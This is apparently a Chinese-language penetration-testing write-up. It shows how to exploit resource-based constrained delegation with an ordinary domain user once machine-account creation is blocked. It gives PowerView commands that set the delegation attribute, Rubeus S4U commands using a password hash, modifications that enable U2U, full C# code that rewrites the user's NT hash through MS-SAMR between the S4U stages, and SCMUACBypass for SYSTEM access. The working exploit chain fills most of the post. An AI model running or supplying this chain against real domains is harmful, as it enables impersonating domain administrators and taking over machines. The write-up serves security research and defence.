Privilege Escalation - Exploiting RBCD Using a User Account

通常情况下,攻击者能够在域的 ms-DS-MachineAccountQuota 属性值的限制内创建新的机器账户,并利用基于资源的约束委派实现提权。默认情况下,ms-DS-MachineAccountQuota 属性值为 10,也就是说一个域用户只能创建 10 个机器账户。但是,管理员可以将该属性值设为 0 以阻止潜在的攻击。当 ms-DS-MachineAccountQuota 属性值为 0 的时候,我们能否使用域用户账户代替机器账户完成 RBCD 攻击过程呢?

# Background

基于资源的约束委派(Resource Based Constrained Delegation,RBCD)是在 Windows Server 2012 中新引入的功能,与传统的约束委派相比,它不再需要拥有 SeEnableDelegationPrivilege 特权的域管理员去设置相关属性,并且将设置委派的权限交换给了服务资源自身,即服务自己可以决定谁可以对我进行委派。基于资源的约束性委派的关键在于 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的设置。

通常情况下,攻击者能够在域的 ms-DS-MachineAccountQuota 属性值的限制内创建新的机器账户,并配合 NTLM Relay 等方法在目标服务账户或机器账户的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性中添加新建的机器账户的 SID,然后便可以将新建的机器账户与 S4U 协议一起使用,代表域内任何用户(包括域管理员用户)为目标账户/机器账户获取 TGS 票据。

默认情况下,ms-DS-MachineAccountQuota 属性值为 10,也就是说一个域用户只能创建 10 个机器账户。此外,管理员可以将该属性值设为 0 以阻止潜在的攻击。当 ms-DS-MachineAccountQuota 属性值为 0 的时候,我们能否使用域用户账户代替机器账户完成 RBCD 攻击过程呢?

为了探究上述问题,我们将域用户 Marcus 的 SID 添加到域机器账户 WIN10-CLIENT1$msDS-AllowedToActOnBehalfOfOtherIdentity 属性中,并假设我们已经获取了 Marcus 用户的凭据。该过程可以通过 PowerView.ps1 完成,相关命令如下。

# 导入模块
Import-Module .\PowerView.ps1
# 获取 Marcus 账户的 SID
Get-NetComputer "Marcus" -Properties objectsid
# 尝试配置 Marcus 到 WIN10-CLIENT1 的基于资源的约束性委派
$A = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1536491439-3234161155-253608391-1106)"
$SDBytes = New-Object byte[] ($A.BinaryLength)
$A.GetBinaryForm($SDBytes, 0)
Get-DomainComputer WIN10-CLIENT1 | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDBytes} -Verbose
# 查看是否配置成功
Get-DomainComputer WIN10-CLIENT1 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity

然后,我们尝试通过 S4U 代表域管理员用户申请针对机器账户 WIN10-CLIENT1$ 的特权票据,如下图所示,我们得到了一个 KDC_ERR_S_PRINCIPAL_UNKNOWN 错误。

Rubeus.exe s4u /user:Marcus /rc4:87A5F6CDC2E2A9B5FC89FE2E8259CF94 /impersonateuser:Administrator /domain:pentest.com /dc:DC01.pentest.com /msdsspn:HOST/WIN10-CLIENT1 /ptt

我们甚至没有通过攻击的第一个 S4U2Self 阶段!这是因为 Marcus 用户没有设置服务主体名称(Service Principal Name,SPN)。

众所周知,SPN 是在服务器上运行的服务的唯一标识符,每个使用 Kerberos 身份验证的服务都需要为其设置一个 SPN,以便客户端可以识别网络上的服务。在 Active Directory 中,SPN 在帐户的 servicePrincipalName 属性下设置。而对于用户账户来说,默认情况下并不会设置 SPN,表现在 Active Directory 中也就没有 servicePrincipalName 属性。因此在 S4U2Self 阶段中生成针对 Marcus 账户的 TGS 票据时,KDC 无法在数据库中找到 “Marcus” 这个服务器,最终将抛出一个 KDC_ERR_S_PRINCIPAL_UNKNOWN 错误。

但如果我们为 Marcus 用户设置一个 SPN,那么一切都会成功,如下图所示。这意味着这不是用户帐户本身的问题。

# User to User Kerberos Authentication (U2U)

由于用户账户默认情况下没有 SPN,因此 S4U2Self 请求会失败。那么该怎么办呢?这里我们有一种方法,就是尝试使用 Kerberos U2U 扩展。U2U 支持用户到用户身份验证的机制,允许客户端应用程序连接到不拥有长期密钥的服务。相反,来自 KERB_AP_REQ 的会话票证将使用来自服务 TGT 票据的会话密钥进行加密。以下是关于 U2U 机制的描述:

“If the ENC-TKT-IN-SKEY option has been specified and an additional ticket has been included in the request, the KDC will decrypt the additional ticket using the key for the server to which the additional ticket was issued and verify that it is a ticket-granting ticket. If the request succeeds, the session key from the additional ticket will be used to encrypt the new ticket that is issued instead of using the key of the server for which the new ticket will be used (This allows easy implementation of user-to-user authentication, which uses ticket-granting ticket session keys in lieu of secret server keys in situations where such secret keys could be easily compromised).”

也就是说,如果指定了 ENC-TKT-IN-SKEY 选项并且请求中包含了附加票据,则 KDC 将使用向其颁发附加票据的服务器的密钥解密附加票据,并验证它是 TGT 票据。 如果请求成功,来自附加票据的会话密钥将用于加密发出的新票据,而不是使用将使用新票据的服务器的密钥。

查看 Rubeus 的源码,它似乎支持请求 U2U S4U2Self 请求,但在默认情况下并未设置 u2u 攻击参数,如下图所示。

然后,我们尝试为 Rubeus 手动将 u2u 参数设为 true,如下图所示。这将在 S4U2Self 过程中启用 U2U 扩展。

重新编译 Rubeus 并运行,发现此时可以成功完成 S4U2Self 请求,但在 S4U2proxy 阶段却发生了 KDC_ERR_BADOPTION 错误,如下图所示。

Rubeus_Modified.exe s4u /user:Marcus /rc4:87A5F6CDC2E2A9B5FC89FE2E8259CF94 /impersonateuser:Administrator /domain:pentest.com /dc:DC01.pentest.com /msdsspn:HOST/WIN10-CLIENT1 /ptt

这几乎可以肯定是因为 KDC 无法解密在 S4U2Proxy 请求中发送的票证。KDC 会尝试 Marcus 用户的 Long-term key(也就是用户的 Hash)进行解密,但是由于我们使用了 U2U 扩展,它会使用附加到 KERB_TGS_REQ 中的 TGT 的会话密钥加密发出的新票据,而不是使用将使用新票据的服务器的密钥,那么KDC也就无法解密了。

因此,接下来要解决的问题就是,如何让 KDC 成功解密我们的 S4U2Proxy 求中发送的票证,并最终为我们发放一个到目标机器的 TGS 票据。

想一下,如果 Marcus 用户的 Long-term key 恰好与我们用来加密 S4U2Self 票据的 TGT 会话密钥相匹配,会发生什么?这不太可能是偶然发生的,但是在知道用户密码的情况下,我们可以想象在 S4U2Self 和 S4U2Proxy 请求之间更改用户的密码,以便在提交票据时 KDC 可以解密它。

# SamrChangePasswordUser

MS-SAMR 是 Windows 安全帐户管理器 (SAM) 远程协议,该协议支持包包含用户和组的账户存储和目录管理功能,使 IT 管理员和用户能够管理用户、组和计算机。

MS-SAMR API 中存在一个 SamrChangePasswordUser() 函数,可以在已知用户密码/哈希的情况下,为用户设置新的密码/哈希。

 long SamrChangePasswordUser(
   [in] SAMPR_HANDLE UserHandle,
   [in] unsigned char LmPresent,
   [in, unique] PENCRYPTED_LM_OWF_PASSWORD OldLmEncryptedWithNewLm,
   [in, unique] PENCRYPTED_LM_OWF_PASSWORD NewLmEncryptedWithOldLm,
   [in] unsigned char NtPresent,
   [in, unique] PENCRYPTED_NT_OWF_PASSWORD OldNtEncryptedWithNewNt,
   [in, unique] PENCRYPTED_NT_OWF_PASSWORD NewNtEncryptedWithOldNt,
   [in] unsigned char NtCrossEncryptionPresent,
   [in, unique] PENCRYPTED_NT_OWF_PASSWORD NewNtEncryptedWithNewLm,
   [in] unsigned char LmCrossEncryptionPresent,
   [in, unique] PENCRYPTED_LM_OWF_PASSWORD NewLmEncryptedWithNewNt
 );

samlib.dll 的导出函数为我们提供了完成该操作所需的函数,例如 SamiChangePasswordUser() 就对应SamrChangePasswordUser(),并且参数更加简化。这里我们直接参考 Vincent Le Toux 编写的 NTLMInjector 项目代码,需要用到其中的 SetNTLMHash 这个方法。

我们在 Rubeus\Rubeus\lib\ 目录下新创建一个 Samr.cs 类,将 SetNTLM 的 C# 代码简单修改后复制进去:

using System;
using System.Runtime.InteropServices;
using System.Security.Permissions;
using System.Security.Principal;
using System.ComponentModel;

namespace Rubeus
{
	public class Samr
	{
		[DllImport("samlib.dll")]
		static extern int SamConnect(ref UNICODE_STRING serverName, out IntPtr ServerHandle, int DesiredAccess, bool reserved);
		[DllImport("samlib.dll")]
		static extern int SamConnect(IntPtr server, out IntPtr ServerHandle, int DesiredAccess, bool reserved);
		[DllImport("samlib.dll")]
		static extern int SamCloseHandle(IntPtr SamHandle);
		[DllImport("samlib.dll")]
		static extern int SamOpenDomain(IntPtr ServerHandle, int DesiredAccess, byte[] DomainId, out IntPtr DomainHandle);

		[DllImport("samlib.dll")]
		static extern int SamOpenUser(IntPtr DomainHandle, int DesiredAccess, int UserId, out IntPtr UserHandle);
		[DllImport("samlib.dll")]
		static extern int SamiChangePasswordUser(IntPtr UserHandle, bool isOldLM, byte[] oldLM, byte[] newLM,
																	bool isNewNTLM, byte[] oldNTLM, byte[] newNTLM);
		[DllImport("advapi32.dll", CallingConvention = CallingConvention.StdCall)]
		private static extern uint SystemFunction007(ref UNICODE_STRING dataToHash, [In, MarshalAs(UnmanagedType.LPArray)] byte[] hash);

		public static byte[] NewNTLM { get; set; }

		const int MAXIMUM_ALLOWED = 0x02000000;
		[StructLayout(LayoutKind.Sequential)]
		struct UNICODE_STRING : IDisposable
		{
			public ushort Length;
			public ushort MaximumLength;
			private IntPtr buffer;
			[SecurityPermission(SecurityAction.LinkDemand)]
			public void Initialize(string s)
			{
				Length = (ushort)(s.Length * 2);
				MaximumLength = (ushort)(Length + 2);
				buffer = Marshal.StringToHGlobalUni(s);
			}
			public void Dispose()
			{
				if (buffer != IntPtr.Zero)
					Marshal.FreeHGlobal(buffer);
				buffer = IntPtr.Zero;
			}
			public override string ToString()
			{
				if (Length == 0)
					return String.Empty;
				return Marshal.PtrToStringUni(buffer, Length / 2);
			}
		}
		static int GetRidFromSid(SecurityIdentifier sid)
		{
			string sidstring = sid.Value;
			int pos = sidstring.LastIndexOf('-');
			string rid = sidstring.Substring(pos + 1);
			return int.Parse(rid);
		}
		[SecurityPermission(SecurityAction.Demand)]
		public static byte[] computeNTLMHash(string password)
		{
			byte[] hash = new byte[16];
			UNICODE_STRING us = new UNICODE_STRING();
			us.Initialize(password);
			uint retcode = SystemFunction007(ref us, hash);
			if (retcode != 0)
			{
				throw new Win32Exception((int)retcode);
			}
			return hash;
		}

		[SecurityPermission(SecurityAction.Demand)]
		public static int SetNTLMHash(string server, string userName, SecurityIdentifier account, byte[] PreviousNTLM, byte[] NewNTLM)
		{
			IntPtr SamHandle = IntPtr.Zero;
			IntPtr DomainHandle = IntPtr.Zero;
			IntPtr UserHandle = IntPtr.Zero;
			int Status = 0;
			UNICODE_STRING ustr_server = new UNICODE_STRING();
			try
			{
				if (String.IsNullOrEmpty(server))
				{
					Status = SamConnect(IntPtr.Zero, out SamHandle, MAXIMUM_ALLOWED, false);
				}
				else
				{
					ustr_server.Initialize(server);
					Status = SamConnect(ref ustr_server, out SamHandle, MAXIMUM_ALLOWED, false);
				}
				if (Status != 0)
				{
					Console.WriteLine("[X] SamrConnect failed {0}", Status.ToString("x"));
					return Status;
				}
				Console.WriteLine("[*] Got the handle to the server object: {0}", ustr_server);
				byte[] sid = new byte[SecurityIdentifier.MaxBinaryLength];
				account.AccountDomainSid.GetBinaryForm(sid, 0);
				Status = SamOpenDomain(SamHandle, MAXIMUM_ALLOWED, sid, out DomainHandle);
				if (Status != 0)
				{
					Console.WriteLine("[X] SamrOpenDomain failed {0}", Status.ToString("x"));
					return Status;
				}
				Console.WriteLine("[*] Got the handle to the domain object");
				int rid = GetRidFromSid(account);
				Console.WriteLine("[*] Get the RID of the {0} user: {1}", userName, rid);
				Status = SamOpenUser(DomainHandle, MAXIMUM_ALLOWED, rid, out UserHandle);
				if (Status != 0)
				{
					Console.WriteLine("[X] SamrOpenUser failed {0}", Status.ToString("x"));
					return Status;
				}
				Console.WriteLine("[*] Got the handle to the user");
				byte[] oldLm = new byte[16];
				byte[] newLm = new byte[16];
				Status = SamiChangePasswordUser(UserHandle, false, oldLm, newLm, true, PreviousNTLM, NewNTLM);
				if (Status != 0)
				{
					Console.WriteLine("[X] SamiChangePasswordUser failed {0}", Status.ToString("x"));
					return Status;
				}
				Console.WriteLine("[+] SamiChangePasswordUser successfully\n");
			}
			finally
			{
				if (UserHandle != IntPtr.Zero)
					SamCloseHandle(UserHandle);
				if (DomainHandle != IntPtr.Zero)
					SamCloseHandle(DomainHandle);
				if (SamHandle != IntPtr.Zero)
					SamCloseHandle(SamHandle);
				ustr_server.Dispose();
			}
			
			return 0;
		}
	}
}

然后要做的就是在 Rubeus 的 S4U2Self 和 S4U2Proxy 请求之间插入额外的代码,将当前 TGT 中的会话密钥取出,将其作为 SetNTLMHash() 方法的参数,从而调用 MS-SAMR API 将会话密钥设为用户的 “新哈希”。

Ask.cs 类中使用 HandleASREP() 方法处理 KERB_AS_REP 相应,里面的 encRepPart.key.keyvalue 就是需要的会话密钥。我们获取该密钥的值,并将它存到事先声明的变量,如下图所示。

然后,在 U4U.cs 的 S4U2Self 和 S4U2Proxy 请求之间插入以下代码,调用 SAMR 协议修改用户哈希,如下图所示。

// Action: SamrChangePasswordUser
Console.WriteLine("[*] Action: SamrChangePasswordUser\n");

// Receive new user hash
byte[] NewNTLM = Samr.NewNTLM;
// Get the user's sid
string delegationUserName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
NTAccount f = new NTAccount(delegationUserName);
SecurityIdentifier sid = (SecurityIdentifier)f.Translate(typeof(SecurityIdentifier));
// Get the user's current hash
byte[] PreviousNTLM = Helpers.StringToByteArray(keyString);
// Invoke the SAMR protocol to modify the user hash to the session key
Samr.SetNTLMHash(domainController, delegationUserName, sid, PreviousNTLM, NewNTLM);

再次尝试编译 Rubeus 并运行,S4U2Self 和 S4U2proxy 阶段全部成功,如下图所示。

执行 klist 命令可以看到,当前主机中已经缓存了域管理员的特权票据,如下图所示。

现在,我们可以通过调用 SCM APIs 创建系统服务实现本地提权。这项工作可以借助 SCMUACBypass 项目完成。

# SCMUACBypass To SYSTEM

SCMUACBypass 原本是通过 Kerberos 进行本地身份验证以绕过 UAC 的概念 POC,是 James Forshaw(@tiraniddo)在 2022 年 3 月的一项研究成果。

SCMUACBypass 的原理大概是通过一系列 Tricks 申请到本地计算机账户的特权 ST 票据,然后使用该 ST 票据对本地服务管理器(SCM)进行身份验证并创建一个新服务,以启动 SYSTEM 权限的进程。关于 SCMUACBypass 的更多细节,可以阅读 《Bypassing UAC in the most Complex Way Possible!》 这篇文章。本文我们只是借用 SCMUACBypass 中的部分功能,通过已缓存的特权 TGS 票据来创建系统服务。

直接在拥有特权 TGS 票据的的会话中运行 SCMUACBypass.exe 即可成功获取本地系统权限,如下图所示。

SCMUACBypass.exe

# Ending……

参考文献:

https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html

https://mp.weixin.qq.com/s/1eJb-UtSVRV5JF0gfQgwWg

https://www.tiraniddo.dev/2022/03/bypassing-uac-in-most-complex-way.html

https://datatracker.ietf.org/doc/html/draft-swift-win2k-krb-user2user-01

https://xz.aliyun.com/t/10062